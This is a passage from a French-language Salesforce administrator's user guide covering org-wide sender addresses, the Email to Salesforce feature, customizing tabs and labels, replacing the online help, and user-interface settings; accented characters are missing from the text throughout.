Une fois vrifie, une adresse l'chelle de l'organisation est disponible en tant qu'adresse du champ De lors de l'envoi d'un
e-mail ou d'une alerte par e-mail.
Pour afficher la liste d'adresses l'chelle de l'organisation, cliquez sur Configuration Administration des e-mails
Adresses l'chelle de l'organisation. partir de cette page, vous pouvez :

Cliquez sur Ajouter pour crer une adresse l'chelle de l'organisation.

Cliquer sur Modifier pour modifier les champs associs l'alias :
-

Nom complet est le terme ou la phrase qui dfinit l'expditeur pour les destinataires de votre e-mail.
Adresse e-mail est l'adresse utilise pour envoyer un message sortant.
Profils autoriss rpertorie les profils qui utilisent l'adresse e-mail en tant qu'alias.
Statut indique la phase actuelle de vrification. Lorsque vous ajoutez une nouvelle adresse l'chelle de l'organisation,

sa validit doit tre vrifie avant d'tre disponible pour les utilisateurs. Si vous n'avez pas reu votre e-mail de vrification,
cliquez sur Renvoyer pour en envoyer un nouveau.

Cliquez sur Suppr pour supprimer l'alias.

Remarque: Vous ne pouvez pas utiliser une adresse l'chelle de l'organisation pour envoyer des messages en masse
ou une requte Rester en contact. Vous ne pouvez pas supprimer ou modifier une adresse e-mail l'chelle de
l'organisation si elle est utilise par un alerte par e-mail.

Voir aussi :
Gestion des profils

Dfinition d'adresses l'chelle de l'organisation

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour configurer les adresses l'chelle de l'organisation :

Modifier toutes les donnes

Pour dfinir une adresse l'chelle de l'organisation pour un profil utilisateur :

1. Cliquez sur Configuration Administration des e-mails Adresses l'chelle de l'organisation.
2. Cliquez sur Ajouter.

Administration des e-mails

Guide de l'utilisateur | Activation de la fonction Envoyer un e-mail Salesforce | 352

3. Saisissez le Nom complet. Le nom complet identifie l'affichage de votre nom dans les e-mails sortants. La taille maximale
est de 300 caractres.
4. Saisissez l'Adresse e-mail que vous souhaitez utiliser comme alias. Vous pouvez choisir n'importe quelle adresse e-mail.
La taille maximale est de 270 caractres.
5. Pour permettre tout profil d'utilisateur dans votre organisation d'utiliser la nouvelle adresse d'expdition De, activez
Autoriser tous les profils utiliser cette adresse d'expdition. Sinon, activez Autoriser
uniquement les profils slectionns utiliser l'adresse d'expdition pour slectionner des
profils d'utilisateur existants.
6. Cliquez sur Enregistrer pour enregistrer les modifications ou sur Enregistrer et nouveau pour dfinir une autre adresse
e-mail l'chelle de l'organisation. Un e-mail de vrification est envoy la nouvelle adresse e-mail, avec un lien qui permet
d'effectuer le processus de vrification. La nouvelle adresse d'expdition De est disponible lorsque vous accdez cet e-mail
et cliquez sur le lien. Cliquez sur Annuler pour revenir la page prcdente sans enregistrer.
Remarque: Vous ne pouvez pas supprimer ou modifier une adresse e-mail l'chelle de l'organisation si elle est utilise
par un alerte par e-mail.
Pour utiliser une adresse l'chelle de l'organisation, envoyez un email ou configurez une alerte par e-mail, puis slectionnez
votre adresse l'chelle de l'organisation dans la liste droulante.

Voir aussi :
Gestion des profils

Activation de la fonction Envoyer un e-mail Salesforce

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour activer ou dsactiver E-mail Salesforce :

Modifier toutes les donnes

Si vous utilisez un compte de messagerie fourni par l'entreprise ou un tiers, vous pouvez utiliser l'option Envoyer un E-mail
Salesforce pour attribuer des e-mails la liste associe Historique de l'activit des pistes, des contacts, des opportunits et
des autres enregistrements dans Salesforce.com. Lors de la composition, du transfert ou de la rponse un e-mail, entrez
simplement votre adresse e-mail Salesforce dans le champ Cci. Salesforce.com reoit une copie de l'e-mail et, en fonction
de votre configuration, l'ajoute la liste associe Historique des activits des enregistrements correspondants.
Lors de l'utilisation de la fonction Envoyer un e-mail Salesforce, notez les points suivants :

Vous pouvez utiliser l'e-mail Salesforce avec les applications e-mail clientes telles que IBM Lotus Notes et Microsoft
Outlook, ainsi qu'avec les programmes de messagerie Web tels que Gmail et Yahoo! Mail.
Envoyer un e-mail Salesforce ignore les pices jointes.
Les adresses e-mail que vous utilisez pour envoyer des e-mails Salesforce doivent tre configures dans le champ Mes
adresses E-mail acceptables de la page de configuration Mon e-mail Salesforce.

Administration des e-mails

Guide de l'utilisateur | Activation de la fonction Envoyer un e-mail Salesforce | 353

Si Envoyer un e-mail Salesforce correspond une adresse e-mail plusieurs enregistrements de piste ou de contact dans
Salesforce.com, vous pouvez choisir d'associer l'e-mail tous les enregistrements correspondants, l'enregistrement le plus
ancien ou l'enregistrement ayant le plus d'activit.
Si Envoyer un e-mail Salesforce correspond un e-mail plusieurs enregistrements d'opportunits dans Salesforce.com,
l'e-mail est inclus dans l'historique d'activit de tous les enregistrements ouverts correspondants.
Si vous utilisez Gmail, reportez-vous la rubrique Utilisation de Gmail dans Salesforce.com la page 1852 pour en savoir
plus sur les fonctionnalits Gmail supplmentaires offertes par Salesforce.com.
La fonction Envoyer un e-mail Salesforce peut crer un maximum de 50 activits d'e-mail pour chaque e-mail qu'il reoit.
Les e-mails en texte brut ou HTML sont automatiquement tronqus 32 Ko.

Pour activer la fonction E-mail Salesforce pour votre organisation :

1.
2.
3.
4.

Cliquez sur Configuration Administration des e-mails E-mail Salesforce.

Cliquez sur Modifier.
Cochez la case Actif.
En option, cochez la case Paramtres avancs de scurit des e-mails pour configurer E-mail Salesforce
afin de vrifier la lgitimit du serveur expditeur avant de traiter un message. Envoyer un e-mail Salesforce utilise les
protocoles d'authentification suivants pour vrifier la lgitimit de l'expditeur :

SPF
SenderId
DomainKeys

Si le serveur d'envoi valide au moins l'un de ces protocoles et qu'aucun n'choue, E-mail Salesforce accepte l'e-mail. Si
le serveur ne valide pas le protocole ou n'en prend aucun en charge, E-mail Salesforce ne prend pas en compte l'e-mail.
Conseil: Avant de cocher la case Paramtres avancs de scurit des e-mails, assurez-vous que les
expditeurs que vous vous attendez voir utiliser E-mail Salesforce prennent en charge au moins l'un des protocoles
d'authentification indiqus ci-dessus.
5. Cliquez sur Enregistrer.
6. En option, cliquez sur Envoyer une notification par e-mail pour informer les utilisateurs qu'E-mail Salesforce est activ
ou cliquez sur Ignorer cette tape.
Une fois E-mail vers Salesforce activ, Salesforce.com cre un e-mail unique que Salesforce envoie chaque utilisateur.
L'utilisateur peut cliquer sur Configuration E-mail Mon e-mail Salesforce pour consulter son E-mail Salesforce
unique et personnaliser ses paramtres. Pour plus d'informations, reportez-vous la rubrique Utilisation de mon e-mail
l'adresse Salesforce la page 1392.

Voir aussi :
Que sont les services de messagerie lectronique ?
Utilisation de Gmail dans Salesforce.com

Personnaliser
Prsentation de la configuration des sous-applications
Les options de configuration disponibles dpendent de votre dition de Salesforce.com.

La page de configuration des sous-applications, accessible en cliquant sur Configuration Configuration des
sous-applications, contient des options qui permettent de personnaliser Salesforce.com et de crer, dployer et grer les
applications.
Personnaliser
Permet de personnaliser chacun des onglets standard et des types d'enregistrement, notamment ajouter des champs
personnaliss et dfinir des prsentations de page. Vous pouvez galement personnaliser les options de recherche, de
balisage et de l'interface utilisateur pour votre entreprise.
Crer
Des outils pointer-et-cliquer permettent de personnaliser Salesforce.com et de concevoir vos propres applications pour
rpondre aux besoins de votre entreprise. Ces outils ne ncessitent aucune connaissance en programmation.
Dvelopper
Les outils de dveloppement de Salesforce.com permettent de personnaliser Salesforce.com et de crer vos propres
applications. Ces outils ncessitent quelques connaissances en programmation.
Dployer
Permet de surveiller les dploiements de configuration d'installations de Force.com IDE, outil de migration Force.com,
et d'autres clients.
Remarque: Force.com IDE est une ressource fournie par salesforce.com pour aider ses utilisateurs et partenaires,
mais n'est pas considre comme faisant partie de nos Services dans le cadre du Contrat d'abonnement principal
salesforce.com.
Afficher les packages installs
Permet d'afficher et de grer les packages installs depuis Force.com AppExchange.
Mises jour critiques
Permet de contrler l'activation des mises jour critiques dans votre organisation.

Personnaliser

Guide de l'utilisateur | Prsentation de la personnalisation | 355

Prsentation de la personnalisation
Les options de personnalisation disponibles dpendent de votre dition de Salesforce.com.

Autorisations utilisateur requises

Pour afficher les options de configuration :

Afficher la configuration

Pour personnaliser votre organisation :

Personnaliser l'application

Vous pouvez personnaliser chacun des onglets standard et des types d'enregistrement, ainsi qu'ajouter des champs personnaliss
et dfinir des prsentations de page. Vous pouvez galement personnaliser les options de recherche, de balisage et de l'interface
utilisateur pour votre entreprise. En outre, chaque utilisateur de Contact Manager Edition, Group Edition, Professional
Edition, Enterprise Edition et Unlimited Edition peut personnaliser diffrentes options d'affichage.
Vous pouvez personnaliser l'affichage des diffrents onglets et d'autres lments, afin d'adapter Salesforce.com aux besoins de
votre entreprise. Cliquez sur Configuration Personnaliser, puis slectionnez un lien pour afficher les options de
personnalisation suivantes :
Noms et tiquettes d'onglets
Permet de renommer les tiquettes d'onglets et de champs standard Salesforce.com.
Accueil
Permet d'ajouter un logo, un tableau de bord ou des liens pointant vers la onglet Accueil, et de crer d'autres prsentations
de page d'accueil destines diffrents utilisateurs.
Activits
Permet de personnaliser les diffrentes options lies aux tches et aux vnements, telles que les champs, les prsentations
de page, les types d'enregistrement, les rgles de validation, les prsentations de recherche et les boutons. Permet galement
d'activer ou de dsactiver des fonctionnalits telles que les fentres contextuelles de rappel d'activit et les vnements
rcurrents.
Campagnes
Permet de personnaliser les listes de slection standard, de crer des liens et des champs personnaliss, de contrler la
prsentation des champs, des listes associes et des liens personnaliss, et de crer des types d'enregistrement dans
Enterprise Edition, Unlimited Edition et Developer Edition. Vous pouvez galement configurer une Influence de
campagne.
Membre de la campagne
(Option situe sous Campagnes) Permet de modifier les champs, de crer des rgles de validation et des dclencheurs,
de contrler la prsentation et de crer des boutons et liens personnaliss.
Pistes
Permet de personnaliser les listes de slection standard, de crer des liens et des champs personnaliss, de contrler la
prsentation des champs, des listes associes et des liens personnaliss, et de crer des types d'enregistrement dans

Personnaliser

Guide de l'utilisateur | Prsentation de la personnalisation | 356

Enterprise Edition, Unlimited Edition et Developer Edition. Vous pouvez galement configurer les files d'attente des
pistes, les rgles d'attribution, les paramtres de piste, ainsi que la saisie de pistes en ligne.
Comptes
Permet de personnaliser les listes de slection standard, de crer des liens et des champs personnaliss, de contrler la
prsentation des champs, des listes associes et des liens personnaliss et, dans Enterprise Edition, Unlimited Edition
et Developer Edition, de crer des types d'enregistrement et de configurer des quipes de comptes.
Comptes personnels
(Option situe sous Compte) Permet de contrler la prsentation des champs, des listes associes et des liens
personnaliss, et de grer les types d'enregistrement.
Contacts
Permet de personnaliser les listes de slection standard, de crer des liens et des champs personnaliss, de contrler la
prsentation des champs, des listes associes et des liens personnaliss, et de crer des types d'enregistrement dans
Enterprise Edition, Unlimited Edition et Developer Edition.
Opportunits
Permet de personnaliser les listes de slection standard, de crer des liens et des champs personnaliss, de contrler la
prsentation des champs, des listes associes et des liens personnaliss et, dans Enterprise Edition, Unlimited Edition
et Developer Edition, de crer des types d'enregistrement et de configurer la vente en quipe.
Produits de l'opportunit
(Option situe sous Opportunits) Permet de personnaliser les champs standard, de crer des champs personnaliss
et de contrler la prsentation des champs sur les pages du produit au niveau de l'onglet Opportunits.
Prvisions
Permet de personnaliser les paramtres d'exercice, la priode de prvision, la vue par dfaut et la hirarchie des prvisions.
Ces options sont uniquement disponibles si votre organisation a activ les fonctions de prvisions personnalisables.
Requtes
Permet de personnaliser les listes de slection standard, de crer des liens et des champs personnaliss, de contrler la
prsentation des champs, des listes associes et des liens personnaliss, et de crer des types d'enregistrement dans
Enterprise Edition, Unlimited Edition et Developer Edition. Vous pouvez galement configurer les files d'attentes de
requtes, les rles de contact des requtes, les rgles d'attribution, de rponse automatique et de hirarchie, ainsi que les
paramtres de support.
Equipe de requtes
(Option situe sous Requtes) Permet de dfinir des quipes de requtes et des rles d'quipes requtes pour votre
organisation.
Messages e-mails
(Situ sous Requtes) Permet de crer des dclencheurs pour des messages E-mail vers requte ou E-mail vers
requte la demande.
Commentaires sur la requte
(Situ sous Requtes) Permet de crer des dclencheurs pour des commentaires de requtes.

Personnaliser

Guide de l'utilisateur | Prsentation de la personnalisation | 357

Libre-Service
Permet de configurer vos solutions publiques, votre saisie de requtes en ligne ainsi que le portail libre-service.
Centre d'Appels
Permet de configurer le Centre d'appels Salesforce CRM en dfinissant des centres d'appels, en ajoutant des numros
de rpertoire et en personnalisant des prsentations SoftPhone.
Contrats
Permet de personnaliser la liste de slection standard, de crer des liens et des champs personnaliss, de contrler la
prsentation des champs, des listes associes et des liens personnaliss, et de crer des types d'enregistrement dans
Enterprise Edition, Unlimited Edition et Developer Edition. Vous pouvez galement dfinir les avis d'expiration de
contrat de votre organisation et configurer le calcul automatique des dates de fin des contrats.
Solutions
Permet de personnaliser les listes de slection standard, de crer des liens et des champs personnaliss, de contrler la
prsentation des champs, des listes associes et des liens personnaliss, et de crer des types d'enregistrement dans
Enterprise Edition, Unlimited Edition et Developer Edition.
Produits
Dans Enterprise Edition, Unlimited Edition et Developer Edition, permet de configurer les catalogues de prix, les
produits et les planifications.
Partenaires
Permet de configurer les paramtres du portail partenaire ou du portail PRM.
Salesforce to Salesforce
Permet la collaboration professionnelle Salesforce to Salesforce au sein et entre les organisations Salesforce.com.
Recherche de connexions
(Situ sous Salesforce to Salesforce) Permet d'envoyer par e-mail aux partenaires une enqute leur demandant s'ils
utilisent Salesforce.com. Vous pouvez galement personnaliser le modle d'e-mail par dfaut et le logo utilis pour
l'enqute.
Portail client
Permet d'activer le portail client pour votre organisation.
Ides
Permet de personnaliser les listes de slections standard, de crer des champs personnaliss et de contrler la prsentation
de champs pour les organisations Enterprise, Unlimited et Developer. Vous pouvez galement tablir et commenter des
rgles de validation et grer vos communauts.
Actifs
Permet de personnaliser les champs standard, de crer des champs personnaliss, de contrler la prsentation des champs
des pages d'actif, de dfinir des prsentations de rsultats de recherche et de crer des liens personnaliss.
Territoires
Si vous utilisez Enterprise Edition, Unlimited Edition ou Developer Edition, permet de crer et modifier des champs
de territoire personnaliss.

Personnaliser

Guide de l'utilisateur | Prsentation de la personnalisation | 358

Utilisateurs
Permet de crer des liens et des champs personnaliss pour les utilisateurs.
Console
Permet de crer des prsentations de console qui affichent des informations pertinentes pour les utilisateurs.
Balises
Permet d'activer les balises personnelles et publiques pour votre organisation. Vous pouvez galement supprimer des
balises personnelles.
Rapports et tableaux de bord
Permet de personnaliser l'interface utilisateur et les paramtres de messagerie pour les rapports et les tableaux de bord.
Recherche
Permet d'optimiser les paramtres de recherche de votre organisation.
Interface utilisateur
Permet d'activer la cration rapide, la rduction des sections de page, les liens de placement de liste associe, de
personnaliser le menu latral de votre organisation et d'activer autres options.

Voir aussi :
Personnalisation des prsentations de l'onglet page d'accueil
Personnalisation des champs
Configuration des boutons et liens personnaliss
Gestion des prsentations de page
Gestion de plusieurs processus commerciaux
Gestion des types d'enregistrement
Gestion des dossiers
Attribution d'un nouveau nom aux tiquettes d'onglets et de champs

Personnaliser

Guide de l'utilisateur | Attribution d'un nouveau nom aux tiquettes d'onglets et de champs | 359

Attribution d'un nouveau nom aux tiquettes d'onglets et

de champs
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour renommer des tiquettes d'onglets et de champs :

Personnaliser l'application
OU
Afficher la configuration
AND
tre dsign comme traducteur

Pour rinitialiser des onglets renomms :

Personnaliser l'application
OU
Afficher la configuration
AND
tre dsign comme traducteur

Vous pouvez modifier les tiquettes d'affichage d'onglets, d'objets, de champs, et d'autres tiquettes d'interface utilisateur
associes, afin qu'elles refltent mieux les besoins commerciaux de votre entreprise. Lorsque vous renommez une tiquette,
par exemple l'tiquette Compte en Socits, la nouvelle tiquette apparat sur toutes les pages des utilisateurs, dans Connect
pour Outlook et Connect Offline. de rares exceptions prs, toutes les pages de la zone Configuration utilisent les tiquettes
par dfaut d'origine.
1. Cliquez sur Configuration Personnalisation Noms et tiquettes d'onglets Renommer les onglets et les tiquettes.
2. Slectionnez votre langue par dfaut dans la liste droulante Slectionner la langue en haut de la page.
3. Cliquez sur Modifier en regard de l'onglet renommer. Si besoin est, cliquez sur Rinitialiser pour rattribuer le nom
d'origine l'onglet renomm.
Remarque: Vous ne pouvez pas rinitialiser les noms d'onglet d'objets personnaliss.

4. Entrez la forme singulier et la forme pluriel de la nouvelle tiquette d'onglet. Si cela peut tre appliqu votre langue,
cochez galement la case Commence par un son vocalique pour les tiquettes qui commencent par une voyelle.
Ceci garantit l'utilisation de l'article appropri (tel que le ou l' ). Cliquez ensuite sur Suivant.
Il n'est pas possible de renommer un onglet ou un objet en utilisant le nom d'un autre onglet standard, d'un objet personnalis
ou d'un onglet personnalis.
5. Entrez les tiquettes de champ standard et les autres tiquettes d'interface utilisateur utiliser pour l'onglet ou l'objet
slectionn. Assurez-vous d'entrer un singulier et un pluriel pour chaque tiquette qui l'exige. Cochez galement la case
Commence par un son vocalique pour les tiquettes qui commencent par une voyelle.

Personnaliser

Guide de l'utilisateur | Attribution d'un nouveau nom aux tiquettes d'onglets et de champs | 360

6. Cliquez sur Enregistrer.

7. Rptez cette procdure pour traduire les tiquettes dans toutes les autres langues utilises dans votre entreprise.
Conseil: Aprs avoir renomm un onglet ou un objet, renommez tous les rapports personnaliss, tableaux de bord,
profils, champs personnaliss et vues de liste qui contiennent le nom d'origine. Vous pouvez modifier les tiquettes
des lments suivants : noms de champ personnalis, texte d'aide de champ personnalis, listes associes personnalises,
onglets Web personnaliss, valeurs de liste de slection, types d'enregistrement, sections de prsentation de page,
catgories de solution, groupes de catgories de donnes, catgories de donnes, messages d'erreur de validation de
champ, noms de sous-application personnalise, tiquettes de commande Custom S-Control, boutons et liens
personnaliss, noms de service, motifs de partage Apex Code, objet et description de tches de workflow, noms de
type de rapport personnalis, noms de section sur les prsentations de type de rapport personnalis et noms de colonne
affichs dans la page Slectionnez les colonnes de l'assistant de gnration de rapports pour les rapports crs partir
de types de rapport personnalis l'aide du systme de traduction. Pour renommer un rapport standard, cliquez sur
Enregistrer sous dans l'assistant de rapport et enregistrez-le dans un dossier de rapport conu pour le nouveau nom.
Les autres options de personnalisation d'onglets sont les suivantes :

Chaque utilisateur peut slectionner les listes associes et onglets affichs pour sa propre connexion. Pour plus d'informations,
reportez-vous Personnalisation de votre affichage la page 30.
Outre les onglets standard fournis par Salesforce.com, les utilisateurs peuvent crer de tout nouveaux onglets personnaliss,
en fonction de l'dition employe. Pour plus d'informations, reportez-vous Dfinition d'onglets personnaliss la page
718.
Dans les entreprises utilisant Enterprise Edition, Unlimited Edition et Developer Edition, vous pouvez remplacer la page
d'accueil d'onglet qui apparat lorsqu'un utilisateur clique sur un onglet d'objet standard ou personnalis. Pour plus
d'informations, reportez-vous Remplacement de boutons standard et de pages d'accueil d'onglet la page 584.

Voir aussi :
Remplacement de l'aide en ligne de Salesforce.com
Prsentation de la personnalisation
Qu'est-ce qu'un compte personnel ?

Remplacement de l'aide en ligne de Salesforce.com

Les entreprises ayant renomm des onglets, des objets, des champs standard et autres tiquettes d'interface utilisateur associes
peuvent galement remplacer l'aide en ligne de Salesforce.com par une autre URL. Pour afficher cette URL, les utilisateurs
doivent cliquer sur le lien d'aide contextuelle d'une page d'utilisateur final ou dans Configuration personnelle. Lorsque vous
avez remplac l'aide, le lien Aide & formation situ tout en haut de chaque page, ainsi que toutes les pages Configuration de
l'administration, continuent afficher l'aide en ligne de Salesforce.com.
1. Cliquez sur Configuration Personnalisation Noms et tiquettes d'onglets Paramtres d'aide.
2. Indiquez l'URL complte du fichier d'aide destin remplacer l'aide en ligne de Salesforce.com.
3. Cliquez sur Enregistrer.
Remarque: Lorsque vous remplacez l'aide en ligne Salesforce.com par votre propre fichier d'aide, le lien Aide &
formation affiche toujours l'aide en ligne Salesforce.com, mais les liens Aide relative cette page de toutes les pages
autres que celles contenues dans Configuration de l'administration ne sont plus contextuels. Ainsi, le fichier d'aide
s'ouvre au mme endroit, quelle que soit la page affiche par l'utilisateur lorsqu'il clique sur le lien.

Personnaliser

Guide de l'utilisateur | Personnalisation des paramtres de l'interface utilisateur | 361

Si vous le souhaitez, vous pouvez rendre l'aide contextuelle en tirant parti des paramtres contextuels transmis avec
chaque lien d'aide. Par exemple, le lien d'aide de la page d'accueil de l'onglet Opportunits se prsente comme suit
(sans saut de ligne) :
http://your_help_file.com?loc=help&amp;body=%2Fhelp%2Fdoc%2Fen%2Fhelp2.jsp
&target=opp_overview.htm&section=Opportunities

Les valeurs des paramtres cible et section sont uniques pour chaque page de l'application. Analysez ces paramtres
afin d'afficher le contenu de l'aide contextuelle pour les utilisateurs.

Voir aussi :
Attribution d'un nouveau nom aux tiquettes d'onglets et de champs
Prsentation de l'aide personnalise

Personnalisation des paramtres de l'interface utilisateur

Paramtres de l'interface utilisateur disponibles dans : Toutes les ditions, sauf indication contraire
La dsactivation de la cration rapide est disponible dans : Contact Manager Edition, Group Edition, Professional Edition,
Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier les paramtres de l'interface utilisateur :

Personnaliser l'application

Pour modifier les paramtres de l'interface utilisateur de votre entreprise :

1. Cliquez sur Configuration Personnalisation Interface utilisateur.
2. Activez ou dsactivez chaque case pour modifier les paramtres de l'interface utilisateur de votre organisation.
3. Cliquez sur Enregistrer.
Paramtres de l'interface utilisateur
Activer les sections pouvant tre rduites
Les sections pouvant tre rduites donnent aux utilisateurs la possibilit de rduire ou de dvelopper les sections dans
leurs pages de dtails d'enregistrement, l'aide de l'icne en forme de flche situe en regard de l'en-tte de section.
Lorsque vous activez les sections pouvant tre rduites, vrifiez que les en-ttes de section s'affichent pour chaque
prsentation de page. Les sections restent dveloppes ou rduites jusqu' ce que l'utilisateur change les paramtres de
cet onglet. Si votre organisation a activ les types d'enregistrement, Salesforce.com mmorise un paramtre diffrent
pour chaque type d'enregistrement.
Afficher Cration rapide
Sur la page d'accueil d'un onglet, cette zone permet aux utilisateurs de crer rapidement un enregistrement avec un
minimum d'informations. Elle s'affiche par dfaut sur la page d'accueil des onglets de pistes, de comptes, de contacts,
de prvisions et d'opportunits. Vous pouvez dcider d'afficher la zone de cration rapide sur toutes les pages d'accueil
des onglets qui vous intressent.

Personnaliser

Guide de l'utilisateur | Personnalisation des paramtres de l'interface utilisateur | 362

Remarque: Le paramtre Afficher Cration rapide dtermine galement si les utilisateurs peuvent crer
des enregistrements partir de la bote de dialogue de recherche. Par exemple, si le paramtre est activ, les
utilisateurs peuvent crer un compte partir de la bote de dialogue de recherche de compte lors de la cration
ou de la modification d'un contact. La fonction de cration d'enregistrements dans la bote de dialogue de
recherche est disponible uniquement si la cration rapide est possible pour le type d'enregistrement en cours de
cration. En outre, les utilisateurs ont systmatiquement besoin de l'autorisation de cration approprie pour
utiliser la fonction de cration rapide, bien qu'elle soit affiche pour tous les utilisateurs.
Activer les dtails de placement
Les dtails de placement affichent un plan interactif contenant des informations dtailles sur un enregistrement lorsque
les utilisateurs survolent un lien vers cet enregistrement dans la liste lments rcents du menu latral ou dans un champ
de recherche d'une page de dtails d'enregistrement. Les utilisateurs peuvent rapidement voir les informations relatives
un enregistrement avant de cliquer sur Afficher pour accder la page de dtails de l'enregistrement ou Modifier pour
accder la page de modification. Les champs affichs dans les dtails de placement sont dtermins par la prsentation
de page miniature de l'enregistrement. Les champs qui apparaissent dans les dtails de placement du document ne sont
pas personnalisables. Cette option est active par dfaut.
Remarque: Pour afficher les dtails de placement d'un enregistrement, les utilisateurs doivent disposer de l'accs
au partage appropri pour cet enregistrement, ainsi que de la scurit ncessaire au niveau du champ pour les
champs de la prsentation de page miniature.
Activer les liens de placement des listes associes
Les liens de placement des listes associes apparaissent en haut des pages de dtails des enregistrements et des objets
personnaliss dans Configuration. Les utilisateurs peuvent survoler un lien de placement de liste associe pour afficher
cette dernire et son nombre d'enregistrements dans un plan interactif permettant aux utilisateurs de visualiser et de grer
rapidement les lments de la liste associe. Les utilisateurs peuvent galement cliquer sur un lien de placement de liste
associe pour accder directement au contenu de celle-ci sans avoir faire dfiler la page. La case Activer les liens
de placement des listes associes est coche par dfaut.
Activer le chargement spar des listes associes
Slectionnez cette option pour activer le chargement spar des pages de dtails des enregistrements : les dtails de
l'enregistrement principal en premier, suivis des donnes des listes associes. Lorsque cette option est active, les utilisateurs
peuvent afficher immdiatement les dtails de l'enregistrement principal. Pendant le chargement des donnes des listes
associes, un indicateur de progression s'affiche. Le chargement spar peut amliorer les performances dans les pages
de dtails d'enregistrement pour les organisations qui possdent un grand nombre de listes associes. Cette option est
dsactive par dfaut. Notez que cette option ne s'applique pas aux pages Visualforce, aux pages d'utilisateur, au portail
libre-service ou aux autres pages dont vous ne contrlez pas la prsentation.
Activer la modification en ligne
La modification en ligne permet aux utilisateurs de modifier rapidement les valeurs des champs sur la page de dtails
d'un enregistrement, ce qui leur vite d'avoir accder d'abord la page de modification de l'enregistrement. Cette option
est active par dfaut et s'applique tous les utilisateurs de votre organisation.
Remarque: Elle n'active pas la modification en ligne des profils. Pour activer la modification en ligne des profils,
slectionnez Activer la gestion avance de profils.

Activer les listes avances

Les listes avances permettent de consulter, de personnaliser et de modifier rapidement des donnes de liste pour acclrer
votre productivit quotidienne. Lorsqu'elles sont actives avec le paramtre Activer les modifications en

Personnaliser

Guide de l'utilisateur | Personnalisation des paramtres de l'interface utilisateur | 363

ligne, les utilisateurs peuvent aussi modifier directement des enregistrements partir de la liste, sans avoir quitter la

page. Cette option est active par dfaut.

Remarque: Elle n'active pas les listes avances pour les profils. Pour activer les listes avances pour les profils,
slectionnez Activer la gestion avance de profils.

Activer les vues de liste imprimables

Les vues de liste imprimables permettent aux utilisateurs d'imprimer des vues de liste aisment. S'ils en ont l'autorisation,
les utilisateurs peuvent cliquer sur le lien Vue imprimable partir de n'importe quelle vue de liste afin d'ouvrir une
nouvelle fentre de navigation, ce qui a pour effet d'afficher la vue de liste actuelle dans un format imprimable simple.
Ce lien se trouve ct du lien Aide sur cette page dans la barre de titre en couleur de la page.
Activer le correcteur orthographique
Disponible avec toutes les ditions. Si cette option est slectionne, le bouton Vrifier l'orthographe s'affiche dans
certaines zones de l'application qui contiennent du texte est saisi, telles que l'envoi d'un e-mail ou la cration d'vnements,
de tches, de requtes, de notes et de solutions. Lorsque vous cliquez sur ce bouton, l'orthographe de votre texte est
vrifie. Le correcteur orthographique ne prend pas en charge toutes les langues prises en charge par Salesforce.com. Par
exemple, le Thalandais, le Russe et les langues sur deux octets telles que le Japonais, le Coren ou le Chinois, ne sont
pas prises en charge.
Activer le correcteur orthographique pour les tches et les vnements
Disponible avec toutes les ditions. Cochez cette case pour activer le bouton Vrifier l'orthographe lorsque des utilisateurs
crent ou modifient des tches ou des vnements. Le correcteur orthographique analyse le champ Description des
vnements et le champ Commentaires des tches.
Paramtres de la barre latrale
Activer le menu latral pouvant tre rduit
Le menu latral pouvant tre rduit permet aux utilisateurs de l'afficher ou de le masquer sur chaque page Salesforce.com
comprenant gnralement le menu latral. Lorsque vous slectionnez le paramtre Activer le menu latral
pouvant tre rduit, le menu latral pouvant tre rduit est alors disponible pour tous les utilisateurs de votre
entreprise, mais chacun peut choisir sa propre prfrence pour l'affichage de ce menu. Les utilisateurs peuvent laisser le
menu latral visible en permanence, ou le rduire et ne l'afficher que lorsqu'ils en ont besoin en cliquant sur le bord du
menu rduit.
Conseil: Si votre organisation utilise des services, nous vous recommandons de garder le menu latral affich et
visible en permanence afin d'avoir toujours accs la liste droulante Services.

Afficher les composants personnaliss du menu latral sur toutes les pages
Si des prsentations de page d'accueil personnalises comprennent des composants dans le menu latral, cette option
rend les composants du menu latral disponibles sur toutes les pages dans Salesforce.com, et ce, pour tous les utilisateurs
de l'entreprise. Si vous souhaitez que seuls certains profils puissent afficher les composants du menu latral sur toutes les
pages, vous pouvez leur attribuer l'autorisation Afficher les composants personnaliss du menu latral sur toutes les
pages .
Paramtres du calendrier
Activer les liens au survol pour les vnements sur la page d'accueil
Cochez cette case pour activer les liens de placement dans la section calendrier de l'onglet Accueil. Dans l'onglet Accueil,
les utilisateurs peuvent survoler un vnement pour afficher ses dtails dans un plan interactif. Cette option est active

Personnaliser

Guide de l'utilisateur | Personnalisation des paramtres de l'interface utilisateur | 364

par dfaut. Remarquez que cette case ne contrle que l'onglet Accueil ; les liens au survol sont toujours disponibles sur
les autres vues du calendrier.
Les champs disponibles dans le plan des dtails et de modifications d'vnement sont dfinis dans une prsentation de
page miniature.
Remarque: Si vous crez des vnements sur la journe, Salesforce.com recommande d'ajouter le champ
vnement sur la journe la prsentation de page miniature des vnements.

Activer la modification par glisser-dplacer sur les vues du calendrier

Cochez cette case pour activer le glisser des vnements sur des vues du calendrier quotidiennes et hebdomadaires
mono-utilisateur. Cette opration permet de replanifier les vnements sans quitter la page. Cette option est active par
dfaut. Notez les lments suivants :

Lorsque cette case est coche, le chargement des vues du calendrier risque d'tre plus lent.
La modification par glisser-dplacer n'est pas disponible pour les vues du calendrier dans la console.
La fonction de modification par glisser-dposer n'est pas active pour les vnements se droulant sur plusieurs
journes.

Activer les vnements Cliquer et Crer sur les vues du calendrier

Cochez cette case pour permettre aux utilisateurs de crer des vnements sur les vues du calendrier quotidiennes et
hebdomadaires en double-cliquant sur une priode spcifique et en entrant les dtails de l'vnement sous la forme d'un
plan interactif. Les champs disponibles dans le plan des dtails et de modifications d'vnement sont dfinis dans une
prsentation de page miniature.
Notez que les vnements rcurrents et les vnements de groupe ne sont pas pris en charge pour les vnements
cliquer-et-crer dans les vues du calendrier.
Activer la planification par glisser-dposer dans les vues de liste
Cochez cette case pour permettre aux utilisateurs de crer des vnements associs des enregistrements en faisant glisser
les enregistrements des vues de liste dans les vues du calendrier hebdomadaires et en saisissant les dtails de l'vnement
dans un plan interactif. Cette option est dsactive par dfaut. Les champs disponibles dans le plan des dtails et de
modifications d'vnement sont dfinis dans une prsentation de page miniature.
Activer les liens de placement pour Ma liste de tches
